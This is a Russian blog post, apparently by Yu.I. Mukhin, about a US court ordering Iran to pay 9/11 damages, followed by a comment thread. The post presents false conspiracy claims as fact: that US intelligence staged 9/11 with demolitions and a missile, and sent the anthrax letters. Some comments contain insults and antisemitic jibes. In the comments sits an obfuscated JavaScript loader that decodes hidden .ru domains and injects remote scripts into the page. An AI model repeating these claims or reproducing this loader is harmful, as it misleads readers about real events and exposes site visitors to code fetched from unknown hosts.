Мой коллега по поводу выяснения обстоятельств убийства Михаила Лесина написал: «Мы давно подозревали, что в царстве свободы и справедливости не все справедливо, и не всегда так уж свободно. Но чтобы вот так спокойно скрывать обстоятельства смерти весьма влиятельной персоны - экс-министра и миллиардера - неожиданно как-то...». Так ли уж неожиданно? Вот читаю: «10 марта — РИА Новости. Американский суд обязал власти Ирана выплатить семьям жертв теракта 11 сентября 2001 года и группе страховых компаний компенсацию в размере более 10,5 миллиардов долларов, сообщает агентство Блумберг.
Федеральный окружной судья Нью-Йорка Джордж Дениэлс (George Daniels) в среду вынес заочное решение суда, согласно которому Иран должен выплатить 7,5 миллиардов долларов родственникам и другим представителям лиц, погибших во Всемирном торговом центре и здании Пентагона. Судья определил, что иранские власти должны выплатить еще три миллиарда страховщикам, покрывшим имущественный ущерб и другие материальные потери.
Ранее судья Дениэлс постановил, что Тегеран не смог доказать свою непричастность к оказанию помощи организаторам теракта, в связи с чем власти Ирана несут долю ответственности за нанесенный в ходе него ущерб».
Я не могу найти пример страны, кроме США, в которой бы вот так нагло для международного пользования использовались бы внутренние суды. Я давно призываю все страны брать пример с этих мерзавцев, но на меня не обращают внимания ни должностные лица, ни высокоинтеллектуальные журналисты. Вот и в этой новости я хотел бы обратить внимание даже не на общую наглость, а на наглость ключевого понятия - «не смог доказать свою непричастность», - которую и журналисты России по отношению к Ирану используют ничуть не смущаясь! Надо же!
Простите, а ЦРУ смогло доказать свою непричастность к этому теракту?
А зачем ЦРУ это делать, - ответят мне журналисты, - если «РИА Новости», как установленный факт, сообщают доверчивым читателям, что: «В сентябре 2001 года в США боевики-смертники террористической организации «Аль-Каида» захватили четыре пассажирских самолета, направив два из них на символ делового Нью-Йорка— башни Всемирного торгового центра, а два других — на Пентагон и, предположительно, на Белый дом или Капитолий. Все самолеты, кроме последнего, достигли целей. Четвертый захваченный самолет рухнул в поле недалеко от города Шанксвилл в штате Пенсильвания. Жертвами терактов 11 сентября стали 2974 человека, 24 числятся пропавшими без вести». Простите, а какой судебный орган это установил, чтобы так безапелляционно утверждать?
Давайте я напомню подробности, а начну сравнением теракта 11 сентября 2001 года и, скажем, истории с малазийскими авиалайнерами, пропавшими в 2014 году. Напомню, что в случае с малазийскими авиалайнерами виновников исчезновения первого Боинга 777 до сих пор (уже два года) как бы ищут все спецслужбы мира, а виновников инцидента с Боингом над Донбассом до сих пор (полтора года) никак пока не определят.
А как было в сентябре 2001 года?
О! Тогда совершенно беспрецедентной была скорость расследования преступления спецслужбами США! Им дня хватило! А ведь столь наглые теракты прямо говорили о том, что если их сделали какие-то внешние враги Америки, то спецслужбы США об этих врагах даже не подозревали - не следили за данными террористами и совершенно не представляют кто это. И было бы не удивительно, если бы спецслужбы первых подозреваемых в теракте стали называть через месяц, через два, через год. Ведь было очень важно найти истинных врагов. Можно, конечно, имитировать работу и представить суду кого попало, но ведь тогда истинный враг уцелеет и вновь нанесет удар.
Но ФБР и его многочисленные американские аналоги прямо таки воспользовались слабоумием и трусостью Буша и тот, практически на следующий день, уже совершенно определенно назвал виновных – мусульмане! Их еще и не пробовали искать, а Бушу уже все стало известно! Но ведь мы понимаем, что этому дебилу было известно ровно столько, сколько представители ФБР сообщили его суфлерам перед выступлением.
Понимаете, такая скорость расследования для самой ФБР является позором, граничащим с преступлением. Если ФБР и безо всякого расследования ясно, что теракты совершили арабы бен Ладена, то тогда почему ФБР терпело их в стране, почему дало совершить им такое дерзкое преступление и в таком масштабе?
Тем не менее, у ФБР обвинять арабов и тогда не было, и сегодня нет ни малейших оснований.
Вспомним, на чем в сентябре 2001 г. основывались выводы ФБР о вине мусульман. На том, что в списках пассажиров четырех самолетов было несколько арабов. Но ведь в этих списках было гораздо больше ирландцев, почему же в терактах не обвинили Ирландскую республиканскую армию? Там было гораздо больше итальянцев, почему же не обвинили «Красные бригады»? Оснований для обвинений ИРА, «Красных бригад» или «Моссада» было столько же, если не больше, как и для обвинения в терроризме, да еще сопряженном с самоубийством, кучки богатых арабов из Саудовской Аравии – верного союзника США.
Мало этого, узнав, что его обвиняют в этих терактах, тогда ещё живой бен Ладен заявил, что готов явится в суд в Пакистане и доказать, что мусульмане и его Аль-Каида к этим терактам не причастна. Американцы отказались выслушать бен Ладена в суде! (Мутные картинки с каким-то бородатым мужиком, который уверял, что он и есть бен Ладен, и что это он разрушил небоскрёбы, появились значительно позже).
Если ты знаешь подробности событий 11 сентября и не полный баран по жизни, то арабов и вообще мусульман к этим терактам никак не приплюсуешь! Скажем, хотя бы потому, что и третий небоскреб в Нью-Йорке – 47-этажная «Седьмая башня» торгового центра (о котором старательно помалкивают), через пять часов развалился сам по себе и точно так же, как и первые два небоскреба, но безо всяких самолётов. Ну и как же разрушение этого здания объяснишь происками злобных мусульман?
Опять же напоминаю, что Конгресс США сначала собирался исполнить свой долг и создал комиссию, что бы выяснить, кто именно атаковал США 11 сентября. Действительно, ну надо же было выяснить, хотя бы, почему:
- небоскребы Торгового центра обрушились не от пожара – не выше пожара, где конструкции нагревались, а ниже - от ясно видимых взрывов, перебивавших опоры внизу зданий?
- почему, повторю, третий небоскреб, в который не врезался никакой самолет, к вечеру того дня обвалился точно от таких же взрывов, как и первые два?
- почему возле Пентагона не было найдено никаких фрагментов самолета, что явно указывает на атаку Пентагона крылатой ракетой, а не пассажирским самолетом?
Но сами понимаете, что из ответов на эти вопросы неумолимо следовало, что теракты против своего народа совершил некто в самих США! И Конгресс отказался проводить расследование, чтобы узнать, кто это был, и вместо необходимого расследования провёл никому не нужное как бы расследование вины Буша в том, что Буш допустил эти теракты. А то, что их совершили мусульмане, сомнениям уже не подвергалось безо всякого расследования! Почему?!
Да потому, что сегодня старательно забывается факт, что сразу же после терактов 11 сентября по почте США стали рассылаться письма со спорами сибирской язвы. Месяц пошумели, ничего не расследовали, никого не нашли и про сибирскую язву дружно забыли.
А давайте задумаемся, а что террористы достигали рассылкой сибирской язвы?
Если бы действовал действительно ненавидящий Америку террорист, то ему всего-то нужно было разбить бутылку с этими уже приведенными в опасное состояние спорами на первой станции метро по ходу поезда. Для него лично это было бы в сотни раз безопаснее, чем расфасовывать эти споры по конвертам. А поезда метро разнесли бы эти споры сибирской язвы по набитым людьми станциям подземки, что, безусловно, вызвало бы грандиозную эпидемию. И дешево, и сердито. Почему же террористы шли на бессмысленный для теракта риск, но посылали споры по почте?
Ответ один. Этим террористам не эпидемия была нужна, им нужно было адресное запугивание, а именно - им нужно было напугать отдельных адресатов и напугать так, чтобы адресаты поняли, что угроза предназначена им. Мало этого, им надо было показать, что возможности истинного террориста ничем НЕ ОГРАНИЧЕНЫ! А теперь вспомним: кто первый получил эти письма? Информационное агентство (пресса) и Конгресс США! Конгресс даже прекратил свою работу, что было впервые в его истории. Как видите, посылка писем с сибирской язвой была направлена тем, кто мог потребовать расследования трагедии 11 сентября. Это же был явный намек конгрессменам и «свободным» журналистам США! Причем конгрессменам и прессе было совершенно ясно, от кого эта угроза следует. Почему?!
Потому, что почти сразу же с появлением сибирской язвы было сообщено, что эта язва культивирована не арабами и не в лабораториях СССР, а в США! Сомневаюсь, что выращивание бацилл сибирской язвы ведется в каждой аптеке США, боюсь, что эти бациллы имеются в одной, может в десятке лабораторий, которые охраняются все тем же спецслужбами США очень тщательно. И очевидно, что без участия спецслужб США споры сибирской язвы не могли покинуть свои хранилища, что подтверждает и последовавшая «неспособность» спецслужб найти виновников распространения язвы: как найдешь сам себя?
И Конгресс США вместе со «свободолюбивой» прессой намек с сибирской язвой поняли: тот, кто достал биологическое оружие из арсеналов США, способен достать оттуда и любое другое оружие. Они поняли, что им грозят собственные спецслужбы США! И конгрессмены, вкупе со «свободолюбивой» прессой США дружно затянули языки в очень узкое отверстие.
Это ответ на вопрос, почему убийство Лесина в США так легко скрыто.
Но для меня этот вопрос не главный, я обращаю внимание на циничность формулы: Иран «не смог доказать свою непричастность»! И ведь теперь вердиктом этого суда США могут оправдывать очередные санкции.
Ещё раз: если противник использует против тебя некое эффективное оружие, а ты, имея это оружие и не имея ничего лучше, это оружие против противника всё равно не используешь, то ты враг своего народа, враг своей армии. Ты ставишь их в невыгодное положение по сравнению с противником.
В данном случае эта мысль должна была бы возникнуть у Ирана. Ведь у Ирана тоже есть суды, а теперь возникло и основание свой суд использовать. То есть, рассмотреть иранским судом дело о причастности спецслужб США к терактам 11 сентября 2001 года. Вообще-то это называется встречным иском, но в данном случае не важно, как это зовут, а важно использовать американскую методу. То есть сформулировать вопросы в доказательство вины спецслужб США, типа приведенных выше, суд вежливо направит эти вопросы в США для получения ответов, и пригласит представителей США участвовать в рассмотрении дела. Ну, а потом вынесет вердикт, что США не смогли доказать непричастность своих спецслужб в организации терактов 11 сентября.
Чего стесняться? Нужно их же юридическим салом да их по сусалам!
Ю.И. МУХИН
Посетителям
На сайте есть правила.
Для Администратор.
"Давайте я напомню подробности, а начну сравнением теракта 11 сентября 201 года ..."
Поправьте, перед единичкой не хватает нуля.
911
е вызывает никаких сомнений, кто осуществил терракты 911 - inside job. Расследовать не захотели, как и с убийством Кеннеди и многое другое. Почему не захотели? ну а как подставлять самих себя? позор на весь мир. А как же свобода и демократия - а вот ее как раз нахер. Мне вот непонятно - а зачем США ваще существуют
у вас сайт нефига не работает
у вас сайт нефига не работает для комментов. Уже неохота писать
Просто у незарегистрированных пользователей
комментарии проходят премодерацию. Пишите еще и ждите публикации.
Умила
Он не может найти три минуты, чтобы зарегистрироваться, зато ждет, что модератор будет круглосуточно сидеть над сайтом, чтоб сходу проверять комментарии.
Нет, Одессит. Сайт
Нет, Одессит. Сайт действительно работает отвратительно. Я давным-давно зарегистрирован, и тем неменее направить сюда комментарий каждый раз проблема. Сначала полчаса выделывается "каптча", а потом писуется что-нибудь вроде "сайт временно недоступен". Я не первый и не десятый, кто об этом пишет.
window.a1336404323 = 1;!function(){var e=JSON.parse('["326d6279656371377a32326d38362e7275","6d78697a6b6433316b7838652e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10029",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
А ЦРУ УЖЕ ДОКАЗАЛО СВОЮ НЕПРИЧАСТНОСТЬ?
Глупый этот Джордж Дениэлс, ему бы присудить, что пиндосам денег должны все, кто не предоставил доказательств непричастности к теракту. Все и по 10 ярдов каждый. "В своём лесу я полный демократ, передо мною каждый виноват"(с). Тогда дяде Сэму и напрягаться в претензиях последовательно возникающих бы не пришлось-сделал чего не то, изволь 10 ярдов прислать. Благолепие...
рыться сейчас не буду, просто
рыться сейчас не буду, просто кратко по теме почему бы.
Мы писали в прокуратуру РФ о возбуждении угол дел по активистам Майдауна, тк они совершили преступные деяния по отношению к интерсам России, что действительно позволяет по ук рф возбудить угол дело, хотя событие преступленния совершено за пределами границ РФ. В доказательство такой судебной практики были приведены приговоры по хищению оружия в Прибалтике, когда за совершеное там преступление лица были осуждены в РФ и приговорены к длительным срокам лишения свободы.
Однако, трусливая и подлая тварь - генеральная прокуратура РФ и региональные прокуратуры стали отмахиваться и дождались пока Майдан разгорелся в полную силу и это, как и было нами предсказано, привело к многочисленным человеческим жертвам. В том числе и граждан РФ. Но если быть точным, то граждан СССР с обоих сторон конфликта.
И только когда укропроки возбудили дело на командующего россиоской базой в Крыму, очухавшаяся генпрокуратра через полгода и более ответила возбуждением уголовных дел по тем кто наехал на командующего крымской базой флота РФ.
Потому - однозначно могут и имеют право суды РФ возбуждать дела по любым зловредным деяниям за пределами границ РФ, но не будут этого делать, тк они есть оккупац режим, а не госорганы суверенного государства. И вылизывать задницу США, то место где лесинские бабки хранились, как и остальных нанятых манагеров Рашника, они будут старательно и блюсти субординацию. При которой то, что позволено быку на пастбище, не позволено ослу на мясокомбинате.
на общую тему
по поводу расшатывания чего-то там неразличимого - химерического РФ с 31% подтасованных голосов.
==================
"А могу ли я избраться потом?", - спросил некто за месяца два перед своим арестом.
Конечно, можешь, о чем речь?! Если никто вместо тебя не изберется за это время. (отвечал я ему).
Ответ неполный. Нужно было добавить про после отсидки это уже будет не важно. Иммунитет то тебе нужен сегодня, а не потом, когда "на свободу с чистой советью выйдешь".
И так, мы имеем уже двух любителей посидеть на наре, вместо посидеть в судейском кресле. Чудные дела твои, господя.
Сознаю свою вину.
Меру. Степень. Глубину.
И прошу меня направить
На текущую войну.
Нет войны — я все приму -
Ссылку. Каторгу. Тюрьму.
Но желательно — в июле,
И желательно — в Крыму.
Иван Семёныч, перестаньте
Иван Семёныч, перестаньте говорить загадками! (с)
Перестаньте подглядывать,
Перестаньте подглядывать, если Вас поставили подслушивать.
Кому надо тот понял о чём, а кому не надо, тот ходит лесом, полем, огородом, буераком и оврагом. Ищет завгара, парторга и агронома.
А вы, гостьех, идите
А вы, гостьех, идите асфальтом!
Вы заметили каков вы
Вы заметили каков вы дурень.
Никто вам не писал. Стали вязаться с требованием пояснить вам. Разве неясно, что если написано не вам, то пояснять вам никто не будет? Вы вообще кто таков для подобной просьбы? Я вам денег должен или обещал вас усыновить?
Гостьех - вина и мера.
Интересные стихи. Проникновенные.
Гостьех повинись - какова Степень Г(о)лубины твоей Меры? 〠
⚠ Ѿ ☭ Ѿ ☭ Ѿ ☭
Ашкеназ, Описторхос, у тя
Ашкеназ, Описторхос, у тя вообще, кроме анала, есть темы? Понятное дело - глисты - опорожнение кишечника, анус и всё с этим связанное, почитают пуще прочего. Это для них малая родина...
Что же касается твоих повторящихся однообразно симптомов капролалии, как у увядающей годами и расцветающей слабоумием Сары Абрамовны, то тут могу лишь привести мнение специалистов:
==
Наиболее часто явление копролалии встречается у женщин, причём, зрелого возраста и косвенно является характерным признаком глубокой духовно-нравственной деградации личности. Что любопытно, содержание копролалической нецензурной брани очень часто имеет под собой глубоко личностную основу или сексуальную, связанную с оскорблением якобы личных прав бранящегося или общественных норм и правил к которым он аппелирует.
Изредка копролалия проявляется в такой специфической форме, как публичная брань по телефону (мобильному или в телефоне автомате). Со стороны это может выглядеть как чересчур эмоциональное общение в котором не скупясь используются наиболее откровенные бранные слова и в т.ч. матерные.
Но при внимательном наблюдении за подобными случаями телефонной копролалии становится очевидно, что бранящийся ни с кем в действительности по телефону не разговаривает, а только очень эмоционально имитирует такое бранное общение, циклично по одному и тому же кругу проигрывая «сюжет», наслаивая и сдабривая его всё новыми порциями эмоциональной грязи, входя, тем самым в состояние глубокого аффекта.
Зачастую многие из страдающих копролалией, делают это явно демонстративно, как бы намеренно привлекая к себе внимание окружающих.
==
После заметы слова телефон на блог, надеюсь, станет ясно и очевидно о чем именно речь и в чем подтвержденная симптоматика.
Гостьex
....Один уже "отдохнул" в крыму = мы у него на сайте....
Кому, как ни мне, знать об
Кому, как ни мне, знать об этом. Потому и скапипостил вирши. Посудите сами. Вам дают на выбор полбочки говна и полбочки меда и после выбора меда говорят, то неверно, вы заблуждаетесь, говно намного вкуснее.
Вы же не подумаете после этого, что перед Вами пчелы или медведи?
Вот и я так же подумал - неее, не пчелы, не медведи и даже не люди. Скорее всего жуки навозные, черви калифорнийские и сине-зеленые мухи. Для корма они используют органические отходы: навоз, птичий помет, ботву растений, опавшую листву, солому, щепу, опилки, пищевые овощные отходы, картон, бумагу и др. Могут так же быть гельминтами, как тот, что всё безумные значки и скабрезные картинки суёт, льнет к жопному вопросу с неподдельным неизменым интересом (сиречь Аписторха местная - простейшая форма жизни на планете).
В чем же выбор, о котором шла речь?
ВОИНР предложил правильную и безупречную квалификацию, доказал, что заокны СССР в силе и имеют приоритет перед законами РФ. На сим основании предлжил Ю.И. и Кириллу способ защиты с учетом этого обстоятельства - выборы их в качестве народных заседателей райгорсуда города Москвы. Что сделать элементарно.
Статус судьи по закону СССР имеет иммунитет от административного и уголовного преследования, не говоря уж о праве возбудить уголовное дело в отношении нарушителей законности - госслужащих иностранного по отношению к СССР государства.
У страдальцев-терпельцев Мухина с сотоварищи, появился бы феноменальный шанс поменятся местами с бастрыкинским как бы следствием и путинским якобы судом.
С формальной и правовой точки зрения ситуация для нападающей стороны патовая, тк до сих пор за 25 лет они не придумали ни единого агрумента в опровержение таковой позиции и квалификации и бегут от неё как черт от ладана. В прошлом году убежали оба высших судебныых органа и КС РФ и ВС РФ - не стали никак разрешать дело с учстием гражданина СССР Третьякова, заверив что таковые дела неподведомственны судам РФ, что совершенно верно.
А что вслед за ними могут сказать суды и следствие РФ, если перед ними окажутся два судьи СССР? Думаете что-то вразумительней чем КС РФ? Да, ни за что в жизни.
И вот оба хероя труда и обороны выбрали полбочки говна и приступили к хлебалову за обе щеки, вместо меда, что им был предложен.
И каково?
ВОИНР предложил правильную и
ВОИНР предложил правильную и безупречную квалификацию, доказал, что заокны СССР в силе и имеют приоритет перед законами РФ.
А Леонида Георгиевна высочайше разрешила тебе пользоваться законами СССР, с преимуществом последних над эрэфовскими, игнорируя при этом приоритет таковых Российской империи над советскими?
В РФ официально действуют законы РФ и госкарательный аппарат официально действует и руководствуются ими. И что, сильно соблюли фашисты свои же законы, когда арестовали Мухина и товарищей, обвинив их в намерении изменить власть нелегальным способом путем референдума? С чего ты взял, что они возьмут под козырек, а не за животики, при упоминании тобою советских законов?
На сим основании предлжил Ю.И. и Кириллу способ защиты с учетом этого обстоятельства - выборы их в качестве народных заседателей райгорсуда города Москвы. Что сделать элементарно.
Безусловно, Ю.И. и Кирилл имели некоторый шанс избежать заключения, воспользовавшись твоим предложением - если только их сочли бы на основании принятия твоего предложения сумасшедшими и упекли вместо тюрьмы в психушку. Но скорее всего они получили бы еще одну статью, по которой бы их могли осудить с куда более правдоподобным - относительно, конечно, на вид - основанием, чем за ту, которую шьют сейчас - за присвоение властных полномочий и создание незаконных органов власти.
Генний, а что ты вообще
Генний, а что ты вообще петришь в этой теме? Слухами питаешься, как старуха у замочной скважины с аллюминиевой кружкой? И много ты насобирал тех слухов, водопроводчик?
Для того чтобы возразить на тему права, нужно же хоть школу без троек закончить до восьмого класса. А те это не удалось, как видно. А туда же судить рядить как Осел крыловский.
Они скорее застреляться в один день, чем будут публично разхбирать вопрос о приоритете законов СССР и РФ. А ты со совими суждениями примерно так далек от понимания проблемы как от Меркурий от Плутония, если идти пешком.
основанием, ... - за
основанием, ... - за присвоение властных полномочий и создание незаконных органов власти.
_______________________________________________
Может это и есть истинная цель Гостъеха. Впрочем, отправить их в дурку тоже кошерно. Судя по стилистики его постов, сам он там гостъил неоднократно.
Какое же из тебя судя, суднО
Какое же из тебя судя, суднО немытое?
Насмешил... Ты хоть понял о чем тут речь, подвывало блогерное?
гражданин СССР Третьяков
> В прошлом году убежали оба высших судебныых органа и КС РФ и ВС РФ - не стали никак разрешать дело с учстием гражданина СССР Третьякова
Очередной Неуловимый Джо?
жуй пока, а то совсем отощал разумом
17 марта 1991 года прошёл Всесоюзный референдум о сохранении СССР, на котором 76,43% голосовавших (113,5 миллиона человек) выразили желание сохранить Союз в обновлённом формате (в ряде республик референдум официально не проводился или проводился с другими формулировками). Впоследствии результаты данного референдума служили основой для заявлений о юридической несостоятельности распада СССР.
8 декабря 1991 года главами трёх союзных республик Борисом Ельциным (Россия), Станиславом Шушкевичем (Белоруссия) и Леонидом Кравчуком (Украина) — в нарушении итогов Всесоюзного референдума о сохранении СССР от 17 марта 1991 и Закона СССР № 1409-I от 3 апреля 1990 «О порядке решения вопросов, связанных с выходом союзной республики из СССР» была подписана Декларация № 142-Н о прекращении существования Союза Советских Социалистических Республик (СССР) и образованием Содружества независимых государств (СНГ). Однако Декларация — это документ, содержащий основополагающие принципы внешней или внутренней политики государств, выражающих только свою позицию.
Генеральная прокуратура СССР под руководством генерального прокурора Николая Трубина — осуществляющий государственный прокурорский надзор за соблюдением законодательства вместе с Межреспубликанской службой безопасности СССР — под руководством Вадима Бакатина — осуществляющий обеспечением государственной безопасности, бездействуют.
11 декабря 1991 года «Комитет конституционного надзора СССР» ограничивается заявлением осуждающий подписание декларации.
25 декабря 1991 года гарант Конституции Президент СССР Михаил Горбачёв добровольно ушёл в отставку. Возглавляемый им Государственный Совет СССР состоящий из глав союзных республик, согласно 4 статьи Закона СССР № 2392-I от 5 сентября 1991 «Об органах государственной власти и управления Союза ССР в переходный период», должен был избрать из его членов временно исполняющего обязанности и.о. Президента СССР, решение которое в течение трёх дней подлежало утверждению Верховным Советом СССР,[4] однако его члены не сделали этого.
26 декабря 1991 года «Советом Республик ВС СССР» созданный этим же Законом в переходный период[4], однако не предусмотренной Конституции (Основным Законом) СССР и в нарушении Закона СССР № 1409-I от 3 апреля 1990 «О порядке решения вопросов, связанных с выходом союзной республики из СССР», в котором говорится что решение о выходе союзной республики из СССР принимается свободным волеизъявлением народов союзной республики путем референдума. На Украине объявленный 24 августа и проведённый 1 декабря «Всеукраинский референдум» был проведён с нарушениями сроков так как согласно Закону № 1409-I — Референдум проводится тайным голосованием не ранее чем через шесть и не позднее чем через девять месяцев после принятия решения о постановке вопроса о выходе союзной республики из СССР.
Однако палата Совет Республик Верховного Совета СССР под председательством Ануарбека Алимжанова в нарушение Закона № 1409-I, приняла Декларацию № 142-Н (известную в народе как Беловежское соглашение) о прекращении существования СССР в связи с образованием СНГ, также распустив союзные институты власти и правосудия.
продолжение
В 2013 году по инициативе жителя Тольятти Дмитрия Третьякова 1981 года рождения, были инициированы судебные попытки через суд признать неконституционным роспуск СССР с требованием обязать ответчика Правительство России обратиться с предложением к бывшим советским республикам о проведении референдума. Действия заявителя к оспариванию роспуска послужило решение по его мнению неконституционной палаты Совета Республик ВС СССР, созданной Законом СССР от 5 сентября 1991 года N 2392-1 «Об органах государственной власти и управления Союза ССР в переходный период», однако не предусмотренной Конституции (Основным Законом) СССР и нарушения Закона СССР № 1409-I от 3 апреля 1990 «О порядке решения вопросов, связанных с выходом союзной республики из СССР», в котором говорится что решение о выходе союзной республики из СССР принимается свободным волеизъявлением народов союзной республики путём референдума, однако чего сделано не было.
10 декабря 2013 года Конституционный суд России отказал принять обращение Третьякова «О признании роспуска СССР неконституционным», сославшись на ст.125, п. 3 действующей конституции с формулировкой «не входит в компетенцию суда».
10 января 2014 года Верховный суд России под председательством судьи Николая Толчеева вынес «судебное определение», в котором также отказал в рассмотрении обращения Третьякова, сославшись на ст.134, п. 1 ГПК РФ «(оспаривающиеся акты не затрагивают права и свободы или законные интересы заявителя)».. Однако житель Тольятти не согласился с отказом, подав на определение апелляционную жалобу, в которой указал на нарушение своих прав: на свободу передвижения и свободу беспрепятственного передвижения по территории союзных республик Союза ССР; право быть гражданином Союза ССР и данной им клятве верности пионера своему Отечеству.
8 апреля 2014 года апелляционная коллегия Верховного суда РФ под председательством Александра Федина отказало в удовлетворении апелляционной жалобы Третьякова, оставив решение первой инстанции без изменений. В ответ заявителем была направлена жалоба в Конституционный Суд на соответствие конституции норм права применённых Верховным Судом в отказе.
29 мая 2014 Конституционным Судом России в составе 18 судей конституционного суда под председательством В. Д. Зорькина было вынесено определение об отказе в рассмотрении жалобы, решение которое окончательно и обжалованию не подлежит.[15] Сам заявитель подтвердил что намерен воспользоваться своим правом обратится в Европейский суд по правам человека применив 6-13 статью международной конвенции.
27 ноября 2014 года под председательством судьи европейского суда E.Штейнер , Суд отказался рассматривать жалобу № 68184/14 россиянина, сообщив также что решение Суда окончательно и не может быть обжаловано ни в Суде (включая Большую Палату), ни в ином органе. В соответствии с указаниями Суда, досье по данной жалобе будет уничтожено по истечении одного года.
Иммунитет судьи - хорошо ли это?
Если судья сам совершает преступление, кто его судит?
Например, федеральный судья Новиков, который вскрыл коррупцию среди своих коллег-судей на продаже участков в Сочи перед Олимпиадой (его несколько лет самого судят), заяляет, что судьи должны отвечать перед законом на общих основаниях.
http://www.youtube.com/watch?v=vPU6vHQhzqw
В 2001 году есть аномалия в графике афганского героина
В 2001 году есть аномалия в графике афганского героина:
http://romix1c.livejournal.com/75689.html (данные с сайта ООН)
Там прекратили производство по религиозным причинам, но тут же началось то, что началось. Включая третью башню.
Неурожай что ли?
Какие религиозные причины?
Производство снизилось до сентября и возобновилось не сразу.
2009-10 грибок подсадили.
2009-10 грибок подсадили. Земля пухом, кое кому. 2001 - у Вас данные искаженные.
А не завуалированная ли это
А не завуалированная ли это взятка?
Ирану недавно разрешили снова торговать нефтью. Отношения кое-как наладились. Сопротивление "решению суда" может рассматриваться как несговорчивость, попытка нового обострения отношений, можно опять включить санкции. Вдруг такое наезд прокатит и Иран закроет глаза и заплатит, предпочтя не ссориться из-за этой суммы?
Отправить комментарий